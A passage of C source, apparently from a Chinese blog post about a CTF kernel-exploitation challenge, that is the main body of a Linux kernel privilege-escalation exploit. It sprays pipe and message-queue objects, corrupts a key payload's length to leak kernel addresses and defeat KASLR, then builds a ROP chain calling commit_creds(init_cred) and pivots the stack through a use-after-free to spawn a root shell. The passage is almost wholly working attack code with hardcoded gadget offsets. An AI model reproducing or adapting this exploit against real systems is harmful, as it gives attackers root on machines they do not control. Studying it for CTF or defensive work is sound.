key_id = key_alloc("11111111", data, 0x20);
if (key_id < 0)
err_exit("key_alloc error");

for (int i = 0; i < PIPE_NUM; i++){
if (fcntl(pipe_fd[i][1], F_SETPIPE_SZ, 0x1000 * 1) < 0){
/* 1 * pipe_buffer = 0x30 kmalloc-64 */
err_exit("fcntl");
}
}

for (int i = 0; i < PIPE_NUM; i++){
write(pipe_fd[i][1], "AAAAAAAA", 8); // tag
write(pipe_fd[i][1], &i, sizeof(int));
write(pipe_fd[i][1], &i, sizeof(int));
write(pipe_fd[i][1], &i, sizeof(int));
write(pipe_fd[i][1], "AAAAAAAA", 8);
write(pipe_fd[i][1], "BBBBBBBB", 8);
}

memset(data, 0, sizeof(data));
*(int *)&data[0x0] = 0x400; /* 修改chunk->key */
*(int *)&data[0x10] = 0x400; /* 修改user_key_payload->datalen */
edit(0x400,data);

int res = key_read(key_id, data, 0x400);
print_hex(data,sizeof(data));

index = -1;
for (int i = 0; i < sizeof(data)/8; i++){
if(*(uint64_t *)&data[i*8] >= 0x1800000000 && *(uint64_t *)&data[i*8] <= 0x3800000000){
index = i*8;
break;
}
}
if(index == -1){
err_exit("scan");
}

pipe_page_addr = *(uint64_t *)&data[index-8];
pipe_ops_addr = *(uint64_t *)&data[index+8];
printf("pipe_page_addr: 0x%lx\n",pipe_page_addr);
printf("pipe_ops_addr: 0x%lx\n",pipe_ops_addr);

kernel_offset = pipe_ops_addr - 0xffffffff81a0ec80;
kernel_base = 0xffffffff81000000 + kernel_offset;
printf("kernel_offset: 0x%lx\n",kernel_offset);
printf("kernel_base: 0x%lx\n",kernel_base);

memset(&primary_msg, 0, sizeof(primary_msg));
memset(&secondary_msg, 0, sizeof(secondary_msg));

rop_idx = 0;
rop_chain = (uint64_t*) &primary_msg.mtext[8];
rop_chain[rop_idx++] = kernel_offset + 0xffffffff8102ae6d; // pop_rdi_ret
/* 对比分析look_up_user_keyrings来计算偏移 */
rop_chain[rop_idx++] = kernel_offset + 0xFFFFFFFF81C33060; // INIT_CRED
rop_chain[rop_idx++] = kernel_offset + 0xFFFFFFFF8106E4F0; // COMMIT_CREDS
/* search -t qword 0x5c415d415e415f41 */
rop_chain[rop_idx++] = kernel_offset + 0xffffffff81600df0+22; // SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + 22;
rop_chain[rop_idx++] = *(uint64_t*) "yhellow";
rop_chain[rop_idx++] = *(uint64_t*) "yhellow";
rop_chain[rop_idx++] = get_root_shell;
rop_chain[rop_idx++] = user_cs;
rop_chain[rop_idx++] = user_rflags;
rop_chain[rop_idx++] = user_sp;
rop_chain[rop_idx++] = user_ss;

/*
<pt> 0xffffffff8109aaa9 push rsi
<pt> 0xffffffff8109d984 push rsi
<pt> 0xffffffff81155279 push rsi
*/

for (int i = 0; i < MSG_QUEUE_NUM; i++)
{
*(uint64_t *)&primary_msg.mtext[0] = 0xffffffff81155279 + kernel_offset; // PUSH_RSI_POP_RSP_POP_4VAL_RET
if (write_msg(msqid[i], &primary_msg, sizeof(primary_msg), PRIMARY_MSG_TYPE) < 0)
err_exit("failed to send primary msg!");

*(uint64_t *)&secondary_msg.mtext[0] = pipe_ops_addr;
if (write_msg(msqid[i], &secondary_msg, sizeof(secondary_msg), SECONDARY_MSG_TYPE) < 0)
err_exit("failed to send secondary msg!");

if(i < PIPE_NUM){
close(pipe_fd[i][0]);
close(pipe_fd[i][1]);
}
}

memset(data, 0, sizeof(data));
*(int *)&data[0x0] = 0x400; /* 修改chunk->key */
*(int *)&data[0x10] = 0x400; /* 修改user_key_payload->datalen */
edit(0x400,data);

res = key_read(key_id, data, 0x400);
print_hex(data,sizeof(data));

index = -1;
for (int i = 0; i < sizeof(data)/8; i++){
if(*(uint64_t *)&data[i*8] == pipe_ops_addr){
index = i*8;
break;
}
}
if(index == -1){
err_exit("scan");
}

msg_addr = *(uint64_t *)&data[index-8*5];
victim_addr = msg_addr + 0x30;
printf("msg_addr: 0x%lx\n",msg_addr);
printf("victim_addr: 0x%lx\n",victim_addr);

for (int i = 0; i < MSG_QUEUE_NUM; i++){
if (read_msg(msqid[i], &secondary_msg, sizeof(secondary_msg), SECONDARY_MSG_TYPE) < 0)
err_exit("failed to receive secondary msg!");
if(i == MSG_QUEUE_NUM/2){
puts("free key");
key_revoke(key_id);
dele(3);
}
}

puts("try to get UAF");
for (int i = 0; i < PIPE_NUM*10; i++){
if (pipe(pipe_fd[i]) < 0)
err_exit("FAILED to spary pipe");
}

for (int i = 0; i < PIPE_NUM*10; i++){

if (fcntl(pipe_fd[i][1], F_SETPIPE_SZ, 0x1000 * 1) < 0){
/* 1 * pipe_buffer = 0x30 kmalloc-64 */
err_exit("fcntl");
}
}

for (int i = 0; i < PIPE_NUM*10; i++){
write(pipe_fd[i][1], "CCCCCCCC", 8); // tag
write(pipe_fd[i][1], &i, sizeof(int));
write(pipe_fd[i][1], &i, sizeof(int));
write(pipe_fd[i][1], &i, sizeof(int));
write(pipe_fd[i][1], "CCCCCCCC", 8);
write(pipe_fd[i][1], "BBBBBBBB", 8);
}

memset(data, 0, sizeof(data));
*(uint64_t *)&data[0] = pipe_page_addr;
*(uint64_t *)&data[0x8] = 0x2400000000;
*(uint64_t *)&data[0x10] = victim_addr-8;
*(uint64_t *)&data[0x18] = kernel_offset + 0xffffffff8102ccb5; // pop_rsp_ret
*(uint64_t *)&data[0x20] = victim_addr+8;

for (int i = 0xffff; i > 0; i--){
edit(i,data);
}
sleep(1);

printf("target_addr: 0x%lx\n",0xffffffff81155279 + kernel_offset);
sleep(1);

for (int i = 0; i < PIPE_NUM*6; i++)
{
close(pipe_fd[i][0]);
close(pipe_fd[i][1]);
}

return 0;
}
  • PS:kernelpwn.h 在之前的博客中展示过